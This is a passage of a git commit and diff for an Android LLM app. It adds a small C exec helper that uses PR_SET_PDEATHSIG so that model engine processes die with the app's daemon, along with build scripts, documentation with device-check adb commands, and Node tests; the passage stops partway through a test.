daemon's own shutdown running, which is every Quit (Process.killProcess), a crash and Android killing the app, an engine lived on until system_server killed the app's cgroup, which it does only once it has seen the process die. Nothing tied the engine, often holding gigabytes of model, to the daemon itself, so it was not killed "immediately when the Daemon closes", which is what the owner asks for. The comment on EngineService.quit() also named the wrong mechanism (the process group: Android's killProcessGroup kills a cgroup). Older bug: origin/main starts engines the same way. The app now ships a helper the daemon starts every engine through, as `libtether_exec.so `, and every probe (a short run of a program whose output it reads, an engine's version check say). Nothing else: the helper ties only the program it execs, not what that program starts, so every other process the daemon ties to its life (an MCP stdio server, a tunnel) keeps the daemon's /system/bin/sh lifeline, a process group the daemon ends as a whole and a watcher that kills it when the daemon dies. The helper arms PR_SET_PDEATHSIG(SIGKILL), exits 127 without starting the engine if its parent is no longer that pid (the daemon process ended between the fork and the prctl, so no signal would come), and execs the engine in place: same pid, stdio and exit status, no extra process. libuv forks on the thread that calls spawn, the one MainActivity starts node::Start on, which lives as long as the daemon, so the kernel kills each engine the moment the daemon ends, however the app process ends. - engines/tether-exec/tether_exec.c (new): the helper. A pid that is not a number above 1 also exits 127. If prctl itself fails it starts the program without the signal and says so on stderr; the daemon's boot self-test then fails and the daemon uses its sh lifeline. - scripts/stage-tether-exec.mjs (new): builds it for each shipped ABI with the NDK's clang for API 24, as a stripped PIE with 16 KB-aligned LOAD segments, into //libtether_exec.so, checked with checkElf before it gets that name. - scripts/stage-litert-lm-engine.mjs: exports ndkToolchain, checkElf and MIN_SDK for it. Nothing else changes there. - composeApp/build.gradle.kts: stageTetherExec, hooked to merge*JniLibFolders like stageLitertLmEngine, stages into build/generated/tether-exec/jniLibs, which jniLibs packages. It is in every build, whatever the engine flags, and assemble*/bundle* fail if the helper is missing for a shipped ABI: without it the daemon ties each engine with a /system/bin/sh watcher, one more process per engine against Android 12+'s phantom process limit. - EngineService.kt: quit()'s comment says what ends the engines (the kernel, through the helper, then system_server's cgroup kill) instead of "Android kills the app's whole process group". Comment only. - BUILDING-ENGINES.md: "The engine tether": what the helper does, how it is built and tested, the daemon's boot self-test and its log lines, which spawns use the helper (engines and probes only), the device checks and what is not yet verified. The checks: with a model loaded, the notification's Quit, a force-stop and a kill -9 of the app leave no engine; Back or a swipe from Recents with a model loaded keeps the app and its engine, as a loaded model counts as running (fix(android): closing the app with nothing running quits it fully); with nothing loaded or running, Back or a swipe ends the app (on a first launch, once the app shows its own splash, the animated bolt: it has unpacked the daemon by then). The daemon side is TurboLLM#287's fix(daemon): a process the daemon starts can be tied to its life. It looks for the helper in TURBOLLM_ANDROID_NATIVE_LIB_DIR, checks it once by watching it work (the program must be seen running under the helper while its parent sh lives, then gone within 1 s of that sh exiting) and logs the result to daemon.log. It starts only engines and probes under the helper. A daemon without that commit does not use the helper: then the APK only carries it. Behaviour change: the APK carries libtether_exec.so (5.7 KB arm64, 5.5 KB x86_64). With TurboLLM#287's daemon side, every engine and probe runs under it and the kernel ends it as soon as the daemon's thread ends; every other process the daemon ties to its life (an MCP stdio server, a tunnel) keeps the daemon's /system/bin/sh lifeline. The build compiles one more file per ABI with the NDK. Tests: scripts/stage-tether-exec.test.mjs (new, node --test, Node 22 and 18.20.4), which builds the helper for the machine with cc (Linux; skipped elsewhere or without cc): "a daemon killed with SIGKILL takes the engine it started through the helper with it", "a parent that is not the daemon pid it was given exits 127 without running the program", "a daemon pid that is not a number above 1 exits 127 without running the program", "the program keeps the helper pid, stdin, stdout and exit status", "a signal to the helper pid reaches the program, and its status passes through", "the helper passes the self-test the daemon runs at boot, and helpers that do not work fail it" (under /bin/sh and bash here; a helper that execs without the signal and one that exits 127 fail it), and, when an NDK is found, "the staging script builds a 16 KB-aligned PIE executable for each shipped ABI" (both ABIs, checkElf, ET_DYN with /system/bin/linker64 as its interpreter, an unknown ABI refused). Without the helper none of this exists; with the prctl taken out of tether_exec.c the SIGKILL and self-test tests fail (the engine outlived the daemon); with the parent check taken out the parent test fails (the program ran). No existing test changed; stage-litert-lm-engine.test.mjs still passes. Also checked by hand: the NDK x86_64 build in a chroot of the x86_64 Android 15 emulator image (its linker, /system/bin/sh, which is mksh, and toybox sleep), five runs: the self-test passed in 28-33 ms, and a stand-in daemon's SIGKILL took its engine within one 20 ms poll. A shell helper that execs without the signal failed the self-test and outlived its daemon. A pid of 1 and a wrong parent exited 127; the program kept the helper's pid and its exit status 7. Not run on a device; the arm64 build was only checked as a file. Device check (BUILDING-ENGINES.md, "Checking it on a device"), with a daemon that has TurboLLM#287's side and a model loaded: daemon.log has "tether: libtether_exec.so self-test passed"; ps shows the engine with the app as its parent and no libtether_exec.so; after a force-stop, the notification's Quit and a kill -9 of the app, no engine is left. Back or a swipe from Recents with a model loaded keeps the app and its engine (a loaded model counts as running) until Quit, or until the idle timer unloads the model and a later close quits. With nothing loaded or running, Back or a swipe ends the app about 3 s later (adb shell pidof com.turbollm prints nothing) and no engine remains. Only the self-test line tests the helper itself: the endings would also pass on the cgroup kill. --- BUILDING-ENGINES.md | 108 ++++++++ composeApp/build.gradle.kts | 55 ++++ .../kotlin/com/turbollm/app/EngineService.kt | 4 +- engines/tether-exec/tether_exec.c | 65 +++++ scripts/stage-litert-lm-engine.mjs | 9 +- scripts/stage-tether-exec.mjs | 91 +++++++ scripts/stage-tether-exec.test.mjs | 236 ++++++++++++++++++ 7 files changed, 563 insertions(+), 5 deletions(-) create mode 100644 engines/tether-exec/tether_exec.c create mode 100644 scripts/stage-tether-exec.mjs create mode 100644 scripts/stage-tether-exec.test.mjs diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index 71dbf31..fed06be 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -37,6 +37,9 @@ paste into a search box in three months. build its server with the NDK AGP already uses (`stageLitertLmEngine`, needs network on the first build). `-PturbollmLitertLmEngine=false` leaves it out. See [the LiteRT-LM engine](#the-litert-lm-engine). +- **The engine tether?** Nothing to do — every build compiles `libtether_exec.so`, the helper + that makes the kernel end each engine with the app, with the same NDK (`stageTetherExec`). See + [the engine tether](#the-engine-tether). - **Before you change anything about packaging**, read [the platform constraint](#the-platform-constraint-that-shapes-everything). It is the reason the binaries are bundled rather than downloaded, the reason they are named @@ -362,6 +365,111 @@ it doesn't. --- +## The engine tether + +Every engine the daemon starts (the llama.cpp ones and the LiteRT-LM server) is meant to end the +moment the app process does, however it ends. The app ships a helper for that, +`libtether_exec.so`, and the daemon starts each engine as +`libtether_exec.so `, and each probe the same way (a short run of +a program whose output it reads, such as an engine's version check). Only those: the helper ties +the one program it execs, not what that program starts, so every other process the daemon ties +to its life (an MCP stdio server, a tunnel) keeps the daemon's `/system/bin/sh` lifeline: a +process group of its own, which a stop ends as a whole, and a watcher that kills that group +when the daemon dies. The helper: + +1. arms `PR_SET_PDEATHSIG(SIGKILL)`, so the kernel kills the process the moment the thread that + started it ends; +2. exits 127 without starting the engine if its parent is no longer that pid (the daemon + process ended between the fork and the `prctl`, so no signal would ever come). This sees the + process end, not the thread: had only the forking thread ended, the kernel would have moved + the helper to another thread of the daemon, and the signal would come when that one ends; + the daemon's thread ends only with the daemon; +3. `exec`s the engine in place: the engine keeps the helper's pid, stdio and exit status, and no + extra process is left behind. + +libuv forks on the thread that calls `spawn`, the one `MainActivity` starts `node::Start` on, +which lives exactly as long as the daemon. So whichever way the app process ends (Quit, which +is `Process.killProcess`, a crash, Android killing the app), the kernel ends the engines with +it at once. Behind that, system_server still kills whatever is left in the +app's cgroup once the app process has died (AOSP 7 to 15); before the helper, that was an +engine's only tie to the app. + +| | | +|---|---| +| Source | `engines/tether-exec/tether_exec.c` | +| Built by | `scripts/stage-tether-exec.mjs` (`stageTetherExec` in `composeApp/build.gradle.kts`, hooked to `merge*JniLibFolders`), with the NDK's clang for API 24, as a PIE with 16 KB-aligned LOAD segments, stripped, checked with the LiteRT-LM staging's `checkElf` | +| Output | `composeApp/build/generated/tether-exec/jniLibs//libtether_exec.so`, about 6 KB per ABI | +| In the APK | Always. `assemble*`/`bundle*` fail if it is missing for a shipped ABI | + +**The daemon's side** is TurboLLM's `util/tether.ts` (`fix(daemon): a process the daemon starts can +be tied to its life`). It looks for the helper in `TURBOLLM_ANDROID_NATIVE_LIB_DIR` and, at each +start, before it spawns anything, checks it by watching it work, while the app lives (a force-stop +cannot test it: the cgroup kill would hide a helper that does nothing). +It runs `/system/bin/sh -c '"$0" "$$" /system/bin/sleep 30 & echo "$!"; read -r _' ` +and must see `/system/bin/sleep 30` running with that `sh` as its parent, then gone within 1 s +of ending the `sh`'s stdin. It logs `tether: libtether_exec.so self-test passed (… ms)` to +`files/daemon.log`, or `… self-test failed: ; tethered spawns use the +/system/bin/sh lifeline instead`, or, when the APK has no helper, `tether: libtether_exec.so not +found in ; tethered spawns use the /system/bin/sh lifeline instead`. Either way it then ties each engine +with a `/system/bin/sh` watcher instead (one more process per engine, counted against +Android 12+'s phantom process limit). A daemon without that commit starts engines directly, +and only the cgroup kill ties them. + +`node --test scripts/stage-tether-exec.test.mjs` builds the helper for the machine with `cc` +(Linux) and runs it: a stand-in daemon's SIGKILL takes its engine; a parent that is not the +given pid, or a pid that is not a number above 1, exits 127 without running anything; the pid, +stdin, stdout, exit status and signals pass through; it passes the daemon's self-test under each +shell found (`/bin/sh`, bash, mksh), while a helper that execs without the signal and one that +exits 127 fail it. With an NDK (`ANDROID_NDK_HOME`, `ANDROID_NDK_ROOT`, or 27.0.12077973 under +`ANDROID_HOME` or `ANDROID_SDK_ROOT`) it also builds both ABIs and checks the files. + +### Checking it on a device + +With a model loaded: + +```bash +adb shell run-as com.turbollm cat files/daemon.log | grep 'tether:' # "self-test passed" +adb shell ps -A -o PID,PPID,NAME | grep -E 'llama_server|litertlm|tether' +# the engine's PPID is the app's pid, and no libtether_exec.so is listed (it exec'd the engine) +adb shell am force-stop com.turbollm +adb shell ps -A | grep -E 'llama_server|litertlm' # nothing +``` + +Then the same `ps` after each other way the app ends with a model loaded, loading it again +each time: the notification's Quit (the app ends about 3 seconds after the tap), and +`adb shell run-as com.turbollm kill -9 ` (a debug build). No engine is left after +either. After Quit, a reply that finished just before is there when the app is opened again: +the daemon wrote its chat database before the kill. + +Back from the app's main screen, or a swipe from Recents, with a model loaded does not end the +app, by design: a loaded model counts as running, so the app and its engine stay (`ps` still +lists the engine under the app, and the notification reads "Idle · " and the model's name) +until Quit, or until the daemon's idle timer has unloaded the model and the app is closed again +with nothing running (opened and closed, or the card a Back left in Recents swiped away). + +With nothing loaded or running, Back or a swipe from Recents ends the app about 3 seconds +later: `adb shell pidof com.turbollm` prints nothing, and the `ps` above lists no engine. A +reply that finished just before is there when the app is opened again. + +On the first launch after an install or an update, close the app only once it shows its own +splash: the animated bolt (an orange badge that pops in, then pulses) with "Starting TurboLLM…" +under it, not the still launcher icon Android shows before it from Android 12. Until then the app +is still unpacking the daemon and has not started the service that hears a close, so whether a +swipe made then ends the app is up to Android. + +Only the `tether:` line tests the helper itself. Every ending above would also pass on the +cgroup kill alone. + +### Not yet verified + +No device has run it. The x86_64 NDK build was run in a chroot of the x86_64 Android 15 +emulator image (its own linker, `/system/bin/sh`, which is mksh, and toybox's `sleep`): it +passed the self-test above, and a stand-in daemon's SIGKILL took its engine within 20 ms. The +arm64 build has only been checked as a file (architecture, PIE, `/system/bin/linker64`, +alignment). + +--- + ## Build A — the CPU engine (what currently ships) Built in CI on `ubuntu-latest`, NDK **r29 (29.0.14206865)**, from diff --git a/composeApp/build.gradle.kts b/composeApp/build.gradle.kts index 27fd2cf..4419371 100644 --- a/composeApp/build.gradle.kts +++ b/composeApp/build.gradle.kts @@ -100,6 +100,10 @@ val shippedAbis = listOf("arm64-v8a", "x86_64") // stands in for libandroid.so (liblrtandr.so). jniLibs packages everything in it. val litertLmJniLibs = layout.buildDirectory.dir("generated/litert-lm/jniLibs") +// Where stageTetherExec puts /libtether_exec.so, the helper the daemon starts every engine through (see "The +// engine tether" below). jniLibs packages everything in it. +val tetherJniLibs = layout.buildDirectory.dir("generated/tether-exec/jniLibs") + val uploadStoreFile: File? = localProp("TURBOLLM_UPLOAD_STORE_FILE") ?.let { rootProject.projectDir.resolve(it).normalize() } ?.takeIf { it.exists() } @@ -232,6 +236,9 @@ android { // The LiteRT-LM engine, staged into the build dir by stageLitertLmEngine (below) rather // than src/: it is fetched and compiled on every machine, never committed. if (shipLitertLmEngine) jniLibs.srcDir(litertLmJniLibs) + // The engine tether, staged into the build dir by stageTetherExec (below): compiled on every machine, like the + // LiteRT-LM server, and in every build. + jniLibs.srcDir(tetherJniLibs) } // Upload signing, read from local.properties (gitignored) — never from the repo. Created by @@ -539,6 +546,54 @@ if (shipLitertLmEngine) { } } +// ── The engine tether ───────────────────────────────────────────────────────────────────── +// +// libtether_exec.so, built from engines/tether-exec/tether_exec.c by scripts/stage-tether-exec.mjs with the NDK AGP +// resolves, as for the LiteRT-LM server. The daemon starts every engine through it: it arms PR_SET_PDEATHSIG(SIGKILL) +// and execs the engine in place, so the kernel kills the engine the moment the daemon's thread ends, however the app +// process ends. Before, an engine's only tie to the app was system_server killing the app's cgroup after the process +// had died. The daemon checks the helper at boot by watching it work, and without it (missing, or failing that check) +// it ties each engine with a /system/bin/sh watcher instead: one more process per engine, counted against Android +// 12+'s phantom process limit. So it is in every build, whatever the engine flags say, and its absence fails the build +// like a missing LiteRT-LM engine does. See BUILDING-ENGINES.md, "The engine tether". Hooked to merge*JniLibFolders, +// as stageLitertLmEngine is; two clang runs of one small file, so it runs every time. +val stageTetherExec by tasks.registering(Exec::class) { + group = "build" + description = "Builds libtether_exec.so, the helper that ties each engine to the app process, into the APK's jniLibs." + workingDir = rootProject.projectDir + val androidExt = project.extensions.getByType(com.android.build.gradle.BaseExtension::class.java) + val outDir = tetherJniLibs + outputs.upToDateWhen { false } + doFirst { + commandLine( + "node", "scripts/stage-tether-exec.mjs", + "--ndk", androidExt.ndkDirectory.absolutePath, + "--out", outDir.get().asFile.absolutePath, + "--abis", shippedAbis.joinToString(","), + ) + } +} + +tasks.matching { it.name.startsWith("merge") && it.name.endsWith("JniLibFolders") }.configureEach { + dependsOn(stageTetherExec) +} +// The APK/AAB tasks only, as for the LiteRT-LM engine above. +val tetherPackagingTask = Regex("^(assemble|bundle)(Debug|Release)?$") +tasks.matching { tetherPackagingTask.matches(it.name) }.configureEach { + doLast { + for (abi in shippedAbis) { + val f = tetherJniLibs.get().file("$abi/libtether_exec.so").asFile + if (!f.exists()) { + throw GradleException( + "Engine tether missing: ${f.absolutePath}\n" + + "The daemon would tie each engine with an extra sh process instead. " + + "It is built by stageTetherExec (scripts/stage-tether-exec.mjs).", + ) + } + } + } +} + // ── The embedded Node runtime ───────────────────────────────────────────────────────────── // // cpp/libnode is gitignored build input that native-lib's CMake links and jniLibs packages, so it diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt index 83cb9b6..d5b7e94 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt @@ -187,7 +187,9 @@ class EngineService : Service() { /** "Quit" in the notification: how the user frees a loaded model's memory without going back into the app, since * the service otherwise outlives the activity (with notifications off there is no Quit, see appClosed). Killing - * the process takes the engine children with it (Android kills the app's whole process group). + * the process takes the engines with it: the kernel kills each one when the daemon's thread ends, since the + * daemon starts it through libtether_exec.so (BUILDING-ENGINES.md, "The engine tether"), and system_server then + * kills whatever is left in the app's cgroup. A cgroup, not a process group: an engine may lead its own group. * * The daemon writes its chat database to disk first (flushDatabase). The kill used to come at once, and the * daemon writes the database only on its own schedule, so a reply that had just finished, or a chat started just diff --git a/engines/tether-exec/tether_exec.c b/engines/tether-exec/tether_exec.c new file mode 100644 index 0000000..bfc317e --- /dev/null +++ b/engines/tether-exec/tether_exec.c @@ -0,0 +1,65 @@ +// libtether_exec.so [args...] +// +// Ties an engine to the app process, by the kernel. The daemon starts each engine as +// `libtether_exec.so ` (TurboLLM's util/tether.ts). This arms +// PR_SET_PDEATHSIG(SIGKILL) and then execs the engine in place, so the engine keeps this process's +// pid, stdio and exit status, no extra process is left behind, and the kernel SIGKILLs the engine +// the moment the daemon's thread that started it ends: however the app process ends (Quit, a +// crash, Process.killProcess, the system killing the app). Without it an engine's only tie was +// system_server killing the app's cgroup after the app process had died. +// +// Why a separate executable: Node runs nothing in the child between fork and exec, and the death +// signal belongs to the process and is kept across execve(2) (not for a set-user-ID program, which +// no engine is), so a process that then becomes the engine has to arm it. It follows the thread +// that forked, not the process: libuv forks on the thread that calls spawn, which is the thread +// MainActivity starts node::Start on, and that thread lives exactly as long as the daemon. +// +// Named lib*.so because Android installs into nativeLibraryDir, the only place an app may execute +// files from, only the files under lib// that match lib*.so. Built for each ABI the APK ships +// by scripts/stage-tether-exec.mjs; BUILDING-ENGINES.md, "The engine tether". +// +// Exit status 127, without running the program, when: +// - the arguments are wrong, or the daemon pid is not a number above 1; +// - this process's parent is not that pid. The daemon process ended between the fork and the +// prctl, so this process was already reparented out of it and no signal would ever come (or +// the daemon passed another pid, which is a bug). This sees the process end, not the thread: +// had only the forking thread ended, the kernel would have moved this process to another +// thread of the daemon, getppid() would be unchanged, and the armed signal would come when +// that thread ends instead. The daemon's thread ends only with the daemon, so the two agree; +// - the exec fails (the message on stderr says why). +// If prctl itself fails, the program is started without the signal, with a message on stderr: the +// daemon's boot self-test then sees a program outlive its parent and uses its sh lifeline instead. +#include +#include +#include +#include +#include +#include +#include +#include + +int main(int argc, char **argv) { + if (argc < 3) { + fputs("usage: libtether_exec.so [args...]\n", stderr); + return 127; + } + char *end = NULL; + errno = 0; + long parent = strtol(argv[1], &end, 10); + if (errno != 0 || end == argv[1] || *end != '\0' || parent <= 1 || parent > INT_MAX) { + fprintf(stderr, "libtether_exec.so: bad daemon pid '%s'; not starting %s\n", argv[1], argv[2]); + return 127; + } + if (prctl(PR_SET_PDEATHSIG, SIGKILL) != 0) { + fprintf(stderr, "libtether_exec.so: prctl(PR_SET_PDEATHSIG) failed: %s; starting %s without it\n", + strerror(errno), argv[2]); + } else if (getppid() != (pid_t)parent) { + // Checked after the prctl: a daemon that ends from here on fires the signal. + fprintf(stderr, "libtether_exec.so: the parent is %d, not the daemon %ld, which has exited; not starting %s\n", + (int)getppid(), parent, argv[2]); + return 127; + } + execvp(argv[2], argv + 2); + fprintf(stderr, "libtether_exec.so: cannot run %s: %s\n", argv[2], strerror(errno)); + return 127; +} diff --git a/scripts/stage-litert-lm-engine.mjs b/scripts/stage-litert-lm-engine.mjs index 09e97ed..f12a2e0 100644 --- a/scripts/stage-litert-lm-engine.mjs +++ b/scripts/stage-litert-lm-engine.mjs @@ -61,8 +61,9 @@ const WHEELS = { } const LIB_IN_WHEEL = 'litert_lm/liblitert-lm.so' // The app's minSdk. The server and the shims are built for it, and the NDK's stub libraries for -// it say what every supported device provides; the library itself is built for API 23. -const MIN_SDK = 24 +// it say what every supported device provides; the library itself is built for API 23. Also the +// engine tether's (stage-tether-exec.mjs), as are ndkToolchain and checkElf. +export const MIN_SDK = 24 const appRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..') const serverSrc = join(appRoot, 'engines', 'litert-lm-server') @@ -162,7 +163,7 @@ function extractFromZip(zipPath, member) { // ── ELF checks: right architecture, and 16 KB-aligned LOAD segments ──────────────────────── // A 4 KB-aligned file fails to load on a 16 KB-page device, and Play rejects updates that // carry one (targetSdk 35+). Checked here so a bad file stops the build, not a user's launch. -function checkElf(path, machine) { +export function checkElf(path, machine) { const b = readFileSync(path) if (b.readUInt32BE(0) !== 0x7f454c46) fail(`${path}: not an ELF file`) if (b[4] !== 2) fail(`${path}: not a 64-bit ELF`) @@ -501,7 +502,7 @@ ${functions.map((f) => `SHIM(${f})`).join('\n')} ` } -function ndkToolchain(ndk) { +export function ndkToolchain(ndk) { const prebuilt = join(ndk, 'toolchains', 'llvm', 'prebuilt') const exe = process.platform === 'win32' ? 'clang.exe' : 'clang' const host = existsSync(prebuilt) ? readdirSync(prebuilt).find((h) => existsSync(join(prebuilt, h, 'bin', exe))) : undefined diff --git a/scripts/stage-tether-exec.mjs b/scripts/stage-tether-exec.mjs new file mode 100644 index 0000000..7ce65c0 --- /dev/null +++ b/scripts/stage-tether-exec.mjs @@ -0,0 +1,91 @@ +#!/usr/bin/env node +// Build the engine tether that ships inside the APK: libtether_exec.so, from +// engines/tether-exec/tether_exec.c, for each ABI the APK carries. +// +// The daemon starts every engine through it (TurboLLM's util/tether.ts): it arms +// PR_SET_PDEATHSIG(SIGKILL) and execs the engine, so the kernel kills the engine the moment the +// daemon's thread ends, however the app process ends. The daemon checks it once at boot by +// watching it work, and uses a /system/bin/sh lifeline instead when the check fails or the file is +// missing (BUILDING-ENGINES.md, "The engine tether"). +// +// Output: //libtether_exec.so, which build.gradle.kts adds to the APK's jniLibs. The +// name fits the lib*.so pattern Android requires before it will install a file into +// nativeLibraryDir, the only place an app may execute from (BUILDING-ENGINES.md). Nothing else in +// is touched. Built with the NDK's clang for the app's minSdk, as a PIE with 16 KB-aligned +// LOAD segments, stripped, and checked with the LiteRT-LM staging's checkElf. +// +// Usage (Gradle runs this; see stageTetherExec in composeApp/build.gradle.kts): +// node scripts/stage-tether-exec.mjs --ndk --out [--abis arm64-v8a,x86_64] +import { execFileSync } from 'node:child_process' +import { mkdirSync, realpathSync, renameSync, rmSync, statSync } from 'node:fs' +import { dirname, join, resolve } from 'node:path' +import { fileURLToPath } from 'node:url' + +import { checkElf, MIN_SDK, ndkToolchain } from './stage-litert-lm-engine.mjs' + +export const HELPER = 'libtether_exec.so' +export const ABIS = { + 'arm64-v8a': { triple: 'aarch64-linux-android', elfMachine: 0xb7 }, // EM_AARCH64 + x86_64: { triple: 'x86_64-linux-android', elfMachine: 0x3e }, // EM_X86_64 +} +// Every build of the helper, the NDK's here and the test's host build, uses these. +export const CFLAGS = ['-O2', '-Wall', '-Wextra', '-Werror'] + +export const SOURCE = join(resolve(dirname(fileURLToPath(import.meta.url)), '..'), 'engines', 'tether-exec', 'tether_exec.c') + +function parseArgs(argv) { + const out = { abis: Object.keys(ABIS) } + for (let i = 0; i < argv.length; i++) { + const k = argv[i] + const v = argv[i + 1] + if (k === '--ndk') out.ndk = v + else if (k === '--out') out.out = v + else if (k === '--abis') out.abis = v.split(',').map((s) => s.trim()).filter(Boolean) + else throw new Error(`unknown argument ${k}`) + i++ + } + if (!out.ndk) throw new Error('--ndk is required') + if (!out.out) throw new Error('--out is required') + return out +} + +function fail(msg) { + console.error(`FATAL: ${msg}`) + process.exit(1) +} + +function main() { + const opts = parseArgs(process.argv.slice(2)) + const unknown = opts.abis.filter((abi) => !ABIS[abi]) + if (unknown.length) fail(`no tether build for ABI ${unknown.join(', ')} (have: ${Object.keys(ABIS).join(', ')})`) + const { clang } = ndkToolchain(opts.ndk) + for (const abi of opts.abis) { + const dir = join(opts.out, abi) + mkdirSync(dir, { recursive: true }) + const staged = join(dir, HELPER) + // Built beside its final name and renamed once checked, so a failed build leaves no helper the + // APK would carry: the packaging check in build.gradle.kts then stops the build. + const tmp = `${staged}.tmp` + rmSync(tmp, { force: true }) + try { + execFileSync(clang, [ + `--target=${ABIS[abi].triple}${MIN_SDK}`, ...CFLAGS, '-fPIE', '-pie', + '-Wl,-z,max-page-size=16384', '-s', '-o', tmp, SOURCE, + ], { stdio: ['ignore', 'inherit', 'inherit'] }) + } catch { + fail(`building ${HELPER} for ${abi} failed (the compiler's message is above)`) + } + checkElf(tmp, ABIS[abi].elfMachine) + renameSync(tmp, staged) + console.log(`staged ${HELPER} for ${abi}: ${(statSync(staged).size / 1e3).toFixed(1)} KB`) + } +} + +// Run as a script; the test imports the constants above without staging anything. +if (process.argv[1] && realpathSync(process.argv[1]) === realpathSync(fileURLToPath(import.meta.url))) { + try { + main() + } catch (e) { + fail(e instanceof Error ? e.message : String(e)) + } +} diff --git a/scripts/stage-tether-exec.test.mjs b/scripts/stage-tether-exec.test.mjs new file mode 100644 index 0000000..df8547a --- /dev/null +++ b/scripts/stage-tether-exec.test.mjs @@ -0,0 +1,236 @@ +// Tests for the engine tether, libtether_exec.so (engines/tether-exec/tether_exec.c), and its +// staging script: +// node --test scripts/stage-tether-exec.test.mjs +// The helper is built for this machine with `cc` and run on it, which needs Linux (prctl and +// /proc); without either, those tests are skipped. The staging test builds both shipped ABIs with +// the NDK when one is found (ANDROID_NDK_HOME, ANDROID_NDK_ROOT, or the pinned version under +// ANDROID_HOME or ANDROID_SDK_ROOT), and is skipped otherwise. Every process a test starts is +// killed by pid when it ends. +import assert from 'node:assert/strict' +import { spawn, spawnSync } from 'node:child_process' +import { chmodSync, existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { after, before, test } from 'node:test' +import { fileURLToPath } from 'node:url' + +import { checkElf } from './stage-litert-lm-engine.mjs' +import { ABIS, CFLAGS, HELPER, SOURCE } from './stage-tether-exec.mjs' + +const script = fileURLToPath(new URL('./stage-tether-exec.mjs', import.meta.url)) +const work = mkdtempSync(join(tmpdir(), 'tether-exec-test-')) +after(() => rmSync(work, { recursive: true, force: true })) + +const cc = spawnSync('cc', ['--version'], { stdio: 'ignore' }) +const hostSkip = process.platform !== 'linux' ? 'PR_SET_PDEATHSIG and /proc are Linux only' + : cc.error ? 'no cc on this machine' : false +const helper = join(work, 'tether_exec') +before(() => { + if (hostSkip) return + const built = spawnSync('cc', [...CFLAGS, '-o', helper, SOURCE], { encoding: 'utf8' }) + assert.equal(built.status, 0, `cc failed:\n${built.stderr}`) +}) + +const sleep = (ms) => new Promise((r) => setTimeout(r, ms)) + +// /proc//stat after the command name: the state and the parent pid. null when the process is gone. +function stat(pid) { + try { + const s = readFileSync(`/proc/${pid}/stat`, 'utf8') + const f = s.slice(s.lastIndexOf(')') + 2).split(' ') + return { state: f[0], ppid: Number(f[1]) } + } catch { + return null + } +} +function cmdline(pid) { + try { + return readFileSync(`/proc/${pid}/cmdline`, 'utf8').split('\0').filter(Boolean) + } catch { + return null + } +} +// A zombie counts as gone: it runs nothing, and who reaps it (PID 1 or a subreaper) is not the helper's business. +const gone = (pid) => { + const s = stat(pid) + return !s || s.state === 'Z' +} +async function waitFor(check, ms) { + for (const end = Date.now() + ms; Date.now() < end; await sleep(20)) if (check()) return true + return check() +} +function killAll(pids) { + for (const pid of pids) { + try { + process.kill(pid, 'SIGKILL') + } catch {} + } +} +// 'exit' can come before the child's last output has been read from its pipes; 'close' comes once its stdio has ended +// too, so a test that checks what the child wrote waits for that. The self-test waits for 'exit': there the program +// the sh started in the background holds the sh's stdout, so 'close' would wait for the program. +function exited(child) { + return new Promise((r) => child.once('exit', (code, signal) => r({ code, signal }))) +} +function closed(child) { + return new Promise((r) => child.once('close', (code, signal) => r({ code, signal }))) +} +function firstLine(stream) { + return new Promise((resolve, reject) => { + let buf = '' + stream.setEncoding('utf8') + stream.on('data', (d) => { + buf += d + if (buf.includes('\n')) resolve(buf.slice(0, buf.indexOf('\n'))) + }) + stream.on('end', () => reject(new Error(`no line before the end (got ${JSON.stringify(buf)})`))) + }) +} + +test('a daemon killed with SIGKILL takes the engine it started through the helper with it', { skip: hostSkip }, async () => { + const pids = [] + try { + // The stand-in daemon starts `sleep 300` through the helper, as the app's daemon starts an engine, and prints its pid. + const daemon = spawn(process.execPath, ['-e', ` + const c = require('child_process').spawn(process.argv[1], [String(process.pid), 'sleep', '300'], { stdio: 'ignore' }) + console.log(c.pid); setInterval(() => {}, 1000)`, helper], { stdio: ['ignore', 'pipe', 'inherit'] }) + pids.push(daemon.pid) + const engine = Number(await firstLine(daemon.stdout)) + pids.push(engine) + assert.ok(await waitFor(() => cmdline(engine)?.join(' ') === 'sleep 300', 1500), 'the helper did not exec the engine in place') + assert.equal(stat(engine).ppid, daemon.pid) + process.kill(daemon.pid, 'SIGKILL') + assert.ok(await waitFor(() => gone(engine), 1000), 'the engine outlived the daemon') + } finally { + killAll(pids) + } +}) + +test('a parent that is not the daemon pid it was given exits 127 without running the program', { skip: hostSkip }, async () => { + const pids = [] + try { + const marker = join(work, 'ran') + // A live process that is not the helper's parent (this process is), as a helper whose daemon died before the prctl + // sees: its parent is then whoever adopted it. + const other = spawn('sleep', ['30'], { stdio: 'ignore' }) + pids.push(other.pid) + const child = spawn(helper, [String(other.pid), 'sh', '-c', `echo ran > '${marker}'`], { stdio: ['ignore', 'ignore', 'pipe'] }) + let err = '' + child.stderr.on('data', (d) => (err += d)) + assert.deepEqual(await closed(child), { code: 127, signal: null }) + assert.equal(existsSync(marker), false, 'the program ran') + assert.match(err, new RegExp(`the parent is ${process.pid}, not the daemon ${other.pid}`)) + } finally { + killAll(pids) + } +}) + +test('a daemon pid that is not a number above 1 exits 127 without running the program', { skip: hostSkip }, async () => { + const marker = join(work, 'ran-bad-pid') + for (const pid of ['1', '0', '-5', 'abc', '', `${process.pid}x`, '99999999999']) { + const r = spawnSync(helper, [pid, 'sh', '-c', `echo ran > '${marker}'`], { encoding: 'utf8' }) + assert.equal(r.status, 127, `daemon pid ${JSON.stringify(pid)}`) + assert.match(r.stderr, /bad daemon pid/) + } + assert.equal(existsSync(marker), false, 'the program ran') + assert.equal(spawnSync(helper, [String(process.pid)]).status, 127, 'no program') +}) + +test('the program keeps the helper pid, stdin, stdout and exit status', { skip: hostSkip }, async () => { + const child = spawn(helper, [String(process.pid), 'sh', '-c', 'echo "$$"; printf "a\\000b\\n"; cat; exit 7'], { stdio: 'pipe' }) + const out = [] + child.stdout.on('data', (d) => out.push(d)) + child.stdin.end('from stdin') + assert.deepEqual(await 